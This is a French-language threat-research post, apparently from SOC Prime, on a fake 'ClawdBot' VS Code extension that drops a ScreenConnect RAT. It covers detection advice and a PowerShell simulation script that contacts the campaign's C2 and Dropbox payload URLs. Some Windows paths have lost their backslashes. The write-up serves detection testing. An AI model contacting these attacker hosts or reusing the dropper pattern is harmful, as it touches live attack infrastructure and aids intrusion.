SOC Prime Bias: Critique

28 Jan 2026 09:58 UTC

Extension VS Code Fake ClowdBot Dépose ScreenConnect RAT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
Extension VS Code Fake ClowdBot Dépose ScreenConnect RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Une extension malveillante de Visual Studio Code appelée ClawdBot Agent se présente comme un assistant de codage AI mais installe discrètement un outil d’accès à distance ScreenConnect sur Windows lorsque VS Code se lance. Au démarrage, l’extension tire un fichier de configuration d’un domaine contrôlé par un attaquant, puis télécharge et exécute un faux binaire de VS Code (Code.exe) accompagné de DLL de support. Comme chemin de livraison secondaire, elle peut récupérer le même installateur à partir d’un lien Dropbox pour maintenir la disponibilité de la charge utile. La campagne abuse d’un outil de support informatique de confiance pour se fondre dans une activité légitime de gestion à distance et réduire les soupçons.

Enquête

Les chercheurs ont acquis le package.json de l’extension, confirmé l’activation au démarrage de VS Code, et récupéré la configuration JSON distante listant les composants malveillants. L’analyse binaire a révélé des modules ScreenConnect signés qui faisaient des signaux à un serveur relais personnalisé. Une logique de repli supplémentaire a été trouvée en JavaScript et PowerShell, faisant référence à des domaines secondaires et à des charges utiles hébergées sur Dropbox. Des artefacts sur disque ont été observés sous le dossier %TEMP%Lightshot.

Atténuation

Supprimez l’extension ClawdBot Agent de VS Code et effacez les fichiers restants de l’emplacement d’installation de ScreenConnect et du répertoire %TEMP%Lightshot. Désinstallez le service client ScreenConnect et bloquez la connectivité sortante vers les domaines et IP relais identifiés. Tournez toutes les clés API ou secrets qui peuvent avoir été entrés dans l’extension.

Réponse

Détectez l’extension malveillante en surveillant les installations d’extensions de VS Code et la création du répertoire Lightshot. Alertez sur l’exécution de Code.exe ou de binaires ScreenConnect depuis des chemins non standards et sur les connexions sortantes vers meeting.bulletmailer.net:8041 ou l’adresse IP associée. Effectuez une analyse forensic de l’hôte pour confirmer la suppression de la persistance et identifier toute charge utile supplémentaire.

Flux d’attaque

Exécution de simulation

Prérequis : La vérification pré-vol du télémètre et de la base doit avoir réussi.

Narrative d’attaque et commandes

  1. L’attaquant publie une extension VS Code truffée de malwares intitulée « Clawdbot Helper ».
  2. La victime installe l’extension via le marché de VS Code, qui exécute un postinstall script qui dépose silencieusement le client ScreenConnect (ScreenConnect.Client.exe) dans %APPDATA%ScreenConnect.
  3. Immédiatement après l’installation, le client initie trois connexions TCP sortantes vers les domaines C2 contrôlés par l’attaquant pour récupérer des charges utiles supplémentaires et signaler l’état de l’hôte.
  4. Les connexions sortantes génèrent des enregistrements Sysmon Event ID 3 correspondant à la dest_ip liste, satisfaisant la règle de détection.

Script de test de régression

# --------------------------------------------------------------
# Routine post-installation simulée de l'extension malveillante VS Code
# --------------------------------------------------------------

# Étape 1 – Déposer un binaire ScreenConnect fictif (simulé)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# Créer un binaire de remplacement inoffensif (par exemple, une copie de notepad.exe)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force

# Étape 2 – Établir des connexions sortantes vers chaque hôte C2
$c2Hosts = @(
    "http://meeting.bulletmailer.net/collect",
    "http://clawdbot.getintwopc.site/payload",
    "https://www.dropbox.com/s/evilpayload.exe"
)

foreach ($url in $c2Hosts) {
    try {
        # Requête web silencieuse ; -UseBasicParsing évite les invites UI
        Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
        Write-Host "Contacté $url"
    } catch {
        Write-Host "Échec de la tentative de contact avec $url (attendu dans un sandbox)."
    }
}

# Fin du script – à ce stade Sysmon devrait avoir enregistré trois
# événements NetworkConnect dont les valeurs DestinationIp correspondent à la règle.

Commandes de nettoyage

# --------------------------------------------------------------
# Supprimer les artefacts simulés
# --------------------------------------------------------------

# Arrêter les tâches PowerShell persistantes (aucune dans ce script simple)
Get-Job | Remove-Job -Force

# Supprimer le dossier client ScreenConnect fictif
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force

# Optionnellement, effacer la mémoire tampon Sysmon (nécessite un administrateur)
# sysmon -c